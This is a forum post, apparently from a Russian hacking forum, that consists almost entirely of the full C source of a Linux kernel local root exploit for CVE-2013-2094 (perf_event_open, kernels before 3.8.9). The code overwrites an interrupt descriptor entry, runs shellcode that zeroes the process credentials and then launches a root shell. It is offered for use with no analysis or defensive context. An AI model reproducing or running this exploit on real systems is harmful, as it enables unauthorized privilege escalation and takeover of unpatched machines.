• XSS.stack #1 – первый литературный журнал от юзеров форума

Local CVE-2013-2094 exploit x86_64 Linux < 3.8.9

DarckSol

(L1) cache
Пользователь
Регистрация
17.03.2008
Сообщения
894
Реакции
182
Код:
/*
 * CVE-2013-2094 exploit x86_64 Linux < 3.8.9
 * by sorbo (sorbo@darkircop.org) June 2013
 *
 * Based on sd's exploit.  Supports more targets.
 *
 */
  
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <linux/perf_event.h>
#include <signal.h>
#include <assert.h>
  
#define BASE        0x380000000
#define BASE_JUMP   0x1780000000
#define SIZE        0x10000000
#define KSIZE       0x2000000
  
#define TMP(x) (0xdeadbeef + (x))
  
struct idt {
    uint16_t limit;
    uint64_t addr;
} __attribute__((packed));
  
static int _fd;
  
static int perf_open(uint64_t off)
{
    struct perf_event_attr attr;
    int rc;
  
//  printf("perf open %lx [%d]\n", off, (int) off);
  
    memset(&attr, 0, sizeof(attr));
  
    attr.type           = PERF_TYPE_SOFTWARE;
    attr.size           = sizeof(attr);
    attr.config         = off;
    attr.mmap           = 1;
    attr.comm           = 1;
    attr.exclude_kernel = 1;
  
    rc = syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);
  
    return rc;
}
  
void __sc_start(void);
void __sc_next(void);
  
void __sc(void)
{
    asm("__sc_start:\n"
        "call __sc_next\n"
        "iretq\n"
        "__sc_next:\n");
}
  
void sc(void)
{
    int i, j;
    uint8_t *current = *(uint8_t **)(((uint64_t) &i) & (-8192));
    uint64_t kbase = ((uint64_t)current) >> 36;
    int uid = TMP(1);
    int gid = TMP(2);
  
    for (i = 0; i < 4000; i += 4) {
        uint64_t *p = (void *) ¤t[i];
        uint32_t *cred = (uint32_t*) p[0];
  
        if ((p[0] != p[1]) || ((p[0]>>36) != kbase))
            continue;
  
        for (j = 0; j < 20; j++) {
            if (cred[j] == uid && cred[j + 1] == gid) {
                for (i = 0; i < 8; i++) {
                    cred[j + i] = 0;
                    return;
                }
            }
        }
    }
}
  
static void sc_replace(uint8_t *sc, uint32_t needle, uint32_t val)
{
    void *p;
  
    p = memmem(sc, 900, &needle, sizeof(needle));
    if (!p)
        errx(1, "can't find %x", needle);
  
    memcpy(p, &val, sizeof(val));
}
  
static void *map_mem(uint64_t addr)
{
    void *p;
  
    p = mmap((void*) addr, SIZE, PROT_READ | PROT_WRITE,
         MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
  
    if (p == MAP_FAILED)
        err(1, "mmap()");
  
    return p;
}
  
static int find_mem(void *mem, uint8_t c)
{
    int i;
    uint8_t *p = mem;
  
    for (i = 0; i < SIZE; i++) {
        if (p[i] == c)
            return i;
    }
  
    return -1;
}
  
static void dropshell()
{
    if (setuid(0) != 0)
        errx(1, "failed");
  
    printf("Launching shell\n");
  
    execl("/bin/sh", "sh", NULL);
    exit(0);
}
  
void morte(int x)
{
    printf("Got signal\n");
    close(_fd);
    dropshell();
}
  
static void trigger(int intr)
{
    switch (intr) {
    case 0:
        do {
            int z = 1;
            int a = 1;
  
            z--;
  
            a /= z;
        } while (0);
        break;
  
    case 4:
        asm("int $4");
        break;
  
    case 0x80:
        asm("int $0x80");
        break;
  
    default:
        errx(1, "unknown intr %d", intr);
    }
  
    sleep(3);
}
  
int main(int argc, char *argv[])
{
    uint32_t *p[2];
    int fd, i;
    uint64_t off;
    uint64_t addr = BASE;
    struct idt idt;
    uint8_t *kbase;
    int sz = 4;
    int intr = 4;
  
    printf("Searchin...\n");
  
    p[0] = map_mem(BASE);
    p[1] = map_mem(BASE_JUMP);
  
    memset(p[1], 0x69, SIZE);
  
    off = 0xFFFFFFFFL;
    fd = perf_open(off);
    close(fd);
  
    i = find_mem(p[0], 0xff);
    if (i == -1) {
        i = find_mem(p[1], 0x68);
  
        if (i == -1)
            errx(1, "Can't find overwrite");
  
        sz = 24;
        addr = BASE_JUMP;
        printf("detected CONFIG_JUMP_LABEL\n");
    }
  
    munmap(p[0], SIZE);
    munmap(p[1], SIZE);
  
    addr += i;
    addr -= off * sz;
  
    printf("perf_swevent_enabled is at 0x%lx\n", addr);
  
    asm("sidt %0" : "=m" (idt));
  
    printf("IDT at 0x%lx\n", idt.addr);
  
    off = addr - idt.addr;
    off -= 8;
  
    switch (off % sz) {
    case 0:
        intr = 0;
        break;
  
    case 8:
        intr = 0x80;
        break;
  
    case 16:
        intr = 4;
        break;
  
    default:
        errx(1, "remainder %d", off % sz);
    }
  
    printf("Using interrupt %d\n", intr);
  
    off -= 16 * intr;
  
    assert((off % sz) == 0);
  
    off /= sz;
    off = -off;
  
//  printf("Offset %lx\n", off);
  
    kbase = (uint8_t*) (idt.addr & 0xFF000000);
  
    printf("Shellcode at %p\n", kbase);
  
    if (mmap(kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
         MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED)
        err(1, "mmap()");
  
    memset(kbase, 0x90, KSIZE);
    kbase += KSIZE - 1024;
  
    i = __sc_next - __sc_start;
    memcpy(kbase, __sc_start, i);
    kbase += i;
    memcpy(kbase, sc, 900);
  
    sc_replace(kbase, TMP(1), getuid());
    sc_replace(kbase, TMP(2), getgid());
  
    signal(SIGALRM, morte);
    alarm(2);
  
    printf("Triggering sploit\n");
    _fd = perf_open(off);
  
    trigger(intr);
  
    exit(0);
}
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх